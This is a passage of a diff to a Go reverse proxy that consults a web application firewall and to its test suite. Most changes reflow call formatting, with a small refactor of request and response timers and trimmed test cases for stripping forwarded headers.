}
|
||||||
|
|
||||||
@@ -432,9 +406,7 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
end := time.Now()
|
end := time.Now()
|
||||||
requestBytes, responseBytes := rq.bytesEachWay()
|
requestBytes, responseBytes := rq.bytesEachWay()
|
||||||
|
|
||||||
err := requestlog.WriteRProxyLine(
|
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
|
||||||
rq.h.requestLog,
|
|
||||||
&requestlog.RProxyLine{
|
|
||||||
Time: requestlog.FormatTime(rq.start),
|
Time: requestlog.FormatTime(rq.start),
|
||||||
RequestID: rq.id,
|
RequestID: rq.id,
|
||||||
ClientIP: rq.client.String(),
|
ClientIP: rq.client.String(),
|
||||||
@@ -445,20 +417,13 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
Status: rq.out.status,
|
Status: rq.out.status,
|
||||||
RequestBytes: requestBytes,
|
RequestBytes: requestBytes,
|
||||||
ResponseBytes: responseBytes,
|
ResponseBytes: responseBytes,
|
||||||
DurationRequestMS: requestlog.Milliseconds(
|
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
|
||||||
requestEnd.Sub(rq.start),
|
|
||||||
),
|
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
Disposition: rq.disposition,
|
Disposition: rq.disposition,
|
||||||
DefaultDisposition: rq.byDefault,
|
DefaultDisposition: rq.byDefault,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error(
|
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
|
||||||
"writing the request log failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !rq.answered {
|
if !rq.answered {
|
||||||
@@ -473,9 +438,7 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
||||||
}
|
}
|
||||||
if !rq.upstreamStart.IsZero() {
|
if !rq.upstreamStart.IsZero() {
|
||||||
report.DurationUpstreamTotalMS = requestlog.Milliseconds(
|
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
|
||||||
end.Sub(rq.upstreamStart),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.sendReport(ctx, report)
|
rq.h.sendReport(ctx, report)
|
||||||
@@ -554,10 +517,7 @@ func (rq *request) startRequestTimer() {
|
|||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
rq.requestTimer = time.AfterFunc(
|
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
|
||||||
time.Until(deadline),
|
|
||||||
rq.requestTimedOut,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
||||||
@@ -595,31 +555,21 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
|||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
rq.mu.Lock()
|
|
||||||
stopTimer(rq.requestTimer)
|
|
||||||
rq.mu.Unlock()
|
|
||||||
|
|
||||||
rq.startResponseTimer(requestEnd)
|
|
||||||
}
|
|
||||||
|
|
||||||
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
|
||||||
// requestEnd, unless it has started already.
|
|
||||||
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
|
||||||
limit := rq.h.config.MaxResponseTime
|
|
||||||
if limit == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
if rq.timersStopped || rq.responseTimer != nil {
|
if rq.timersStopped {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
stopTimer(rq.requestTimer)
|
||||||
|
|
||||||
|
limit := rq.h.config.MaxResponseTime
|
||||||
|
if limit > 0 {
|
||||||
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
||||||
rq.responseTimedOut)
|
rq.responseTimedOut)
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||||
// app has sent its whole answer.
|
// app has sent its whole answer.
|
||||||
@@ -648,9 +598,7 @@ func (rq *request) setResponseDeadline() {
|
|||||||
|
|
||||||
deadline := rq.endRequest().Add(limit)
|
deadline := rq.endRequest().Add(limit)
|
||||||
|
|
||||||
_ = rq.rc.SetWriteDeadline(
|
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
|
||||||
time.Now().Add(max(time.Until(deadline), minSendTime)),
|
|
||||||
)
|
|
||||||
_ = rq.rc.Flush()
|
_ = rq.rc.Flush()
|
||||||
_ = rq.rc.SetWriteDeadline(deadline)
|
_ = rq.rc.SetWriteDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -78,10 +78,7 @@ type Server struct {
|
|||||||
// on.
|
// on.
|
||||||
func New(params Params) *Server {
|
func New(params Params) *Server {
|
||||||
backend := params.Config.WAFBackend
|
backend := params.Config.WAFBackend
|
||||||
errorLog := slog.NewLogLogger(
|
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
|
||||||
params.ProcessLog.Handler(),
|
|
||||||
slog.LevelWarn,
|
|
||||||
)
|
|
||||||
h := &handler{
|
h := &handler{
|
||||||
config: params.Config,
|
config: params.Config,
|
||||||
requestLog: params.RequestLog,
|
requestLog: params.RequestLog,
|
||||||
|
|||||||
+59
-215
@@ -358,13 +358,11 @@ func startServerLogging(
|
|||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(
|
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||||
func(name string) (string, bool) {
|
|
||||||
value, ok := settings[name]
|
value, ok := settings[name]
|
||||||
|
|
||||||
return value, ok
|
return value, ok
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -372,18 +370,10 @@ func startServerLogging(
|
|||||||
server := rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: requestLog,
|
RequestLog: requestLog,
|
||||||
ProcessLog: requestlog.NewProcessLogger(
|
ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
|
||||||
processLog,
|
|
||||||
"test",
|
|
||||||
slog.LevelInfo,
|
|
||||||
),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -413,10 +403,7 @@ type answered struct {
|
|||||||
func visit(t *testing.T, req *http.Request) answered {
|
func visit(t *testing.T, req *http.Request) answered {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
transport := &http.Transport{
|
transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
|
||||||
DisableKeepAlives: true,
|
|
||||||
DisableCompression: true,
|
|
||||||
}
|
|
||||||
defer transport.CloseIdleConnections()
|
defer transport.CloseIdleConnections()
|
||||||
|
|
||||||
res, err := transport.RoundTrip(req)
|
res, err := transport.RoundTrip(req)
|
||||||
@@ -442,12 +429,8 @@ func newRequest(
|
|||||||
) *http.Request {
|
) *http.Request {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
|
||||||
t.Context(),
|
body)
|
||||||
method,
|
|
||||||
"http://"+addr+target,
|
|
||||||
body,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("new request: %v", err)
|
t.Fatalf("new request: %v", err)
|
||||||
}
|
}
|
||||||
@@ -467,11 +450,7 @@ func wantGreeting(t *testing.T, got answered) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if got.status != http.StatusOK || got.body != greeting {
|
if got.status != http.StatusOK || got.body != greeting {
|
||||||
t.Errorf(
|
t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
|
||||||
"answered %d %q, want the app's greeting",
|
|
||||||
got.status,
|
|
||||||
got.body,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -568,12 +547,7 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
|
|||||||
requestIDHeader: asked.header.Get(requestIDHeader),
|
requestIDHeader: asked.header.Get(requestIDHeader),
|
||||||
} {
|
} {
|
||||||
if received.Header.Get(name) != want {
|
if received.Header.Get(name) != want {
|
||||||
t.Errorf(
|
t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
|
||||||
"the app saw %s %q, want %q",
|
|
||||||
name,
|
|
||||||
received.Header.Get(name),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -585,9 +559,6 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
||||||
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
||||||
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
||||||
"X-Forwarded-Scheme", "X-Forwarded-Ssl", "X-Forwarded-Protocol",
|
|
||||||
"X-Forwarded-Path", "X-Forwarded-Client-Cert",
|
|
||||||
"X_Forwarded_Ssl", "X_Forwarded_Proto", "X_Real_IP",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
@@ -611,9 +582,6 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
req.Header.Set(name, "claimed")
|
req.Header.Set(name, "claimed")
|
||||||
}
|
}
|
||||||
|
|
||||||
// A made-up name, sent in lower case.
|
|
||||||
req.Header["x-forwarded-made-up"] = []string{"claimed"}
|
|
||||||
|
|
||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
header := <-seen
|
header := <-seen
|
||||||
@@ -628,7 +596,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range append(removed, "X-Forwarded-Made-Up") {
|
for _, name := range removed {
|
||||||
if got := header.Values(name); len(got) != 0 {
|
if got := header.Values(name); len(got) != 0 {
|
||||||
t.Errorf("the app saw %s %q, want none", name, got)
|
t.Errorf("the app saw %s %q, want none", name, got)
|
||||||
}
|
}
|
||||||
@@ -654,8 +622,6 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
|
|||||||
"X-Forwarded-Host": "public.example",
|
"X-Forwarded-Host": "public.example",
|
||||||
forwardedProtoHeader: "https",
|
forwardedProtoHeader: "https",
|
||||||
"X-Real-Ip": "198.51.100.1",
|
"X-Real-Ip": "198.51.100.1",
|
||||||
"X-Forwarded-Ssl": "on",
|
|
||||||
"X_Forwarded_Ssl": "on",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
@@ -686,12 +652,7 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
|||||||
})
|
})
|
||||||
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||||
t.Context(),
|
|
||||||
http.MethodGet,
|
|
||||||
"/",
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
w := httptest.NewRecorder()
|
w := httptest.NewRecorder()
|
||||||
|
|
||||||
server.Handler.ServeHTTP(w, req)
|
server.Handler.ServeHTTP(w, req)
|
||||||
@@ -701,11 +662,8 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
|||||||
// stops it: the key with no value.
|
// stops it: the key with no value.
|
||||||
values, there := w.Header()["Content-Type"]
|
values, there := w.Header()["Content-Type"]
|
||||||
if !there || len(values) != 0 {
|
if !there || len(values) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
|
||||||
"the answer's Content-Type is %q, there: %v, want the key with no value",
|
values, there)
|
||||||
values,
|
|
||||||
there,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -740,12 +698,8 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
|
|||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
header := <-seen
|
header := <-seen
|
||||||
if len(header.Values(asnHeader)) != 0 ||
|
if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
|
||||||
len(header.Values(countryHeader)) != 0 {
|
t.Errorf("the app saw the visitor's lookup headers: %v", header)
|
||||||
t.Errorf(
|
|
||||||
"the app saw the visitor's lookup headers: %v",
|
|
||||||
header,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -778,8 +732,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
|
||||||
line["default_disposition"] != nil {
|
|
||||||
t.Errorf("line %v, want waf's deny", line)
|
t.Errorf("line %v, want waf's deny", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -793,11 +746,7 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
|
|||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusForbidden ||
|
if got.status != http.StatusForbidden ||
|
||||||
got.header.Get(
|
got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
|
||||||
contentLengthHeader,
|
|
||||||
) != strconv.Itoa(
|
|
||||||
len(deniedBody),
|
|
||||||
) {
|
|
||||||
t.Errorf("answered %+v, want waf's 403 and its length", got)
|
t.Errorf("answered %+v, want waf's 403 and its length", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -821,14 +770,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
|||||||
log := heldLog{release: make(chan struct{})}
|
log := heldLog{release: make(chan struct{})}
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startServerLogging(
|
addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
nil,
|
|
||||||
log,
|
|
||||||
io.Discard,
|
|
||||||
)
|
|
||||||
|
|
||||||
t.Cleanup(func() { close(log.release) })
|
t.Cleanup(func() { close(log.release) })
|
||||||
|
|
||||||
@@ -845,16 +787,9 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
if err != nil || res.StatusCode != tc.status ||
|
if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
|
||||||
string(body) != tc.body {
|
t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
|
||||||
t.Errorf(
|
tc.status, tc.body)
|
||||||
"answered %d %q (%v), want %d %q",
|
|
||||||
res.StatusCode,
|
|
||||||
body,
|
|
||||||
err,
|
|
||||||
tc.status,
|
|
||||||
tc.body,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -900,11 +835,8 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("read %q (%v), want the connection closed without an answer",
|
||||||
"read %q (%v), want the connection closed without an answer",
|
text, err)
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
@@ -918,9 +850,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
|
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
backend := startWAFAnsweringReports(t,
|
backend := startWAFAnsweringReports(t,
|
||||||
@@ -943,10 +873,7 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
|
|||||||
|
|
||||||
duration, ok := line["duration_response_ms"].(float64)
|
duration, ok := line["duration_response_ms"].(float64)
|
||||||
if !ok || duration < 0 {
|
if !ok || duration < 0 {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want a duration_response_ms that is not negative", line)
|
||||||
"line %v, want a duration_response_ms that is not negative",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -965,16 +892,12 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
|||||||
func noAnswers() map[string]func(t *testing.T) string {
|
func noAnswers() map[string]func(t *testing.T) string {
|
||||||
return map[string]func(t *testing.T) string{
|
return map[string]func(t *testing.T) string{
|
||||||
"no connection": func(*testing.T) string { return nowhere },
|
"no connection": func(*testing.T) string { return nowhere },
|
||||||
"no answer at all": answeringWith(
|
"no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
|
||||||
func(http.ResponseWriter, *http.Request) {
|
|
||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
},
|
}),
|
||||||
),
|
"a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
|
||||||
"a slow start": answeringWith(
|
|
||||||
func(_ http.ResponseWriter, r *http.Request) {
|
|
||||||
<-r.Context().Done()
|
<-r.Context().Done()
|
||||||
},
|
}),
|
||||||
),
|
|
||||||
"headers followed by a stalled body": answeringWith(
|
"headers followed by a stalled body": answeringWith(
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
func(w http.ResponseWriter, r *http.Request) {
|
||||||
w.Header().Set(dispositionHeader, dispositionDeny)
|
w.Header().Set(dispositionHeader, dispositionDeny)
|
||||||
@@ -1016,9 +939,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
t,
|
|
||||||
func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
if tc.disposition != "" {
|
if tc.disposition != "" {
|
||||||
w.Header().Set(dispositionHeader, tc.disposition)
|
w.Header().Set(dispositionHeader, tc.disposition)
|
||||||
}
|
}
|
||||||
@@ -1026,19 +947,13 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
w.Header().Set(fromWAFHeader, addedHeaderValue)
|
w.Header().Set(fromWAFHeader, addedHeaderValue)
|
||||||
w.WriteHeader(tc.status)
|
w.WriteHeader(tc.status)
|
||||||
_, _ = io.WriteString(w, tc.body)
|
_, _ = io.WriteString(w, tc.body)
|
||||||
},
|
})
|
||||||
)
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
defaultDisposition: setting,
|
defaultDisposition: setting,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != tc.status || got.body != tc.body ||
|
if got.status != tc.status || got.body != tc.body ||
|
||||||
@@ -1051,13 +966,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(tc.status) ||
|
if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
|
||||||
line["default_disposition"] != nil {
|
t.Errorf("line %v, want status %d and no default", line, tc.status)
|
||||||
t.Errorf(
|
|
||||||
"line %v, want status %d and no default",
|
|
||||||
line,
|
|
||||||
tc.status,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if out.has("waf gave no answer") {
|
if out.has("waf gave no answer") {
|
||||||
@@ -1113,13 +1023,10 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
w.WriteHeader(http.StatusInternalServerError)
|
w.WriteHeader(http.StatusInternalServerError)
|
||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
timeoutSetting: "60000",
|
|
||||||
})
|
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != http.StatusInternalServerError ||
|
if got.status != http.StatusInternalServerError || len(got.body) != size {
|
||||||
len(got.body) != size {
|
|
||||||
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
|
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
|
||||||
got.status, len(got.body), size)
|
got.status, len(got.body), size)
|
||||||
}
|
}
|
||||||
@@ -1131,11 +1038,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
func startWAFWriting(t *testing.T, text string) string {
|
func startWAFWriting(t *testing.T, text string) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1213,15 +1116,9 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
||||||
t,
|
|
||||||
backend(t),
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
timeoutSetting: "60000",
|
|
||||||
defaultDisposition: setting,
|
defaultDisposition: setting,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
t.Errorf("answered %+v, want 502", got)
|
t.Errorf("answered %+v, want 502", got)
|
||||||
@@ -1230,10 +1127,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadGateway) ||
|
if line["status"] != float64(http.StatusBadGateway) ||
|
||||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want status 502 and no disposition", line)
|
||||||
"line %v, want status 502 and no disposition",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
out.waitFor(t, "waf's answer is dropped")
|
out.waitFor(t, "waf's answer is dropped")
|
||||||
@@ -1246,9 +1140,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
timeoutSetting: "60000",
|
|
||||||
})
|
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
t.Errorf("answered %+v, want 502", got)
|
t.Errorf("answered %+v, want 502", got)
|
||||||
@@ -1266,14 +1158,9 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
||||||
t,
|
|
||||||
backend(t),
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
timeoutSetting: "200",
|
timeoutSetting: "200",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
|
|
||||||
@@ -1290,15 +1177,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
|
||||||
t,
|
|
||||||
backend(t),
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
timeoutSetting: "200",
|
timeoutSetting: "200",
|
||||||
defaultDisposition: dispositionDeny,
|
defaultDisposition: dispositionDeny,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != http.StatusServiceUnavailable {
|
if got.status != http.StatusServiceUnavailable {
|
||||||
@@ -1321,24 +1203,16 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
|||||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||||
